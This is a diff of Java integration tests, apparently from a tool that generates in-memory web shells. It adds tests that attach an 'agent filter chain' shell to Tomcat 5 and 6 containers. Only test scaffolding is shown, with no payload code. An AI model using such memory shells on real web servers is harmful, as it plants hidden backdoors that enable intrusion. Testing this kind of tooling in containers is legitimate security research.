import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -51,4 +53,9 @@ public class Tomcat5ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }
@@ -2,9 +2,11 @@ package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.integration.AbstractContainerTest; import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig; import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes; import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.Test;
import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network; import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Container;
@@ -50,4 +52,9 @@ public class Tomcat6ContainerTest extends AbstractContainerTest {
protected ContainerTestConfig getConfig() { protected ContainerTestConfig getConfig() {
return CONFIG; return CONFIG;
} }
@Test
void testListProcessAndAttachAll() {
ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer());
}
} }

Some files were not shown because too many files have changed in this diff Show More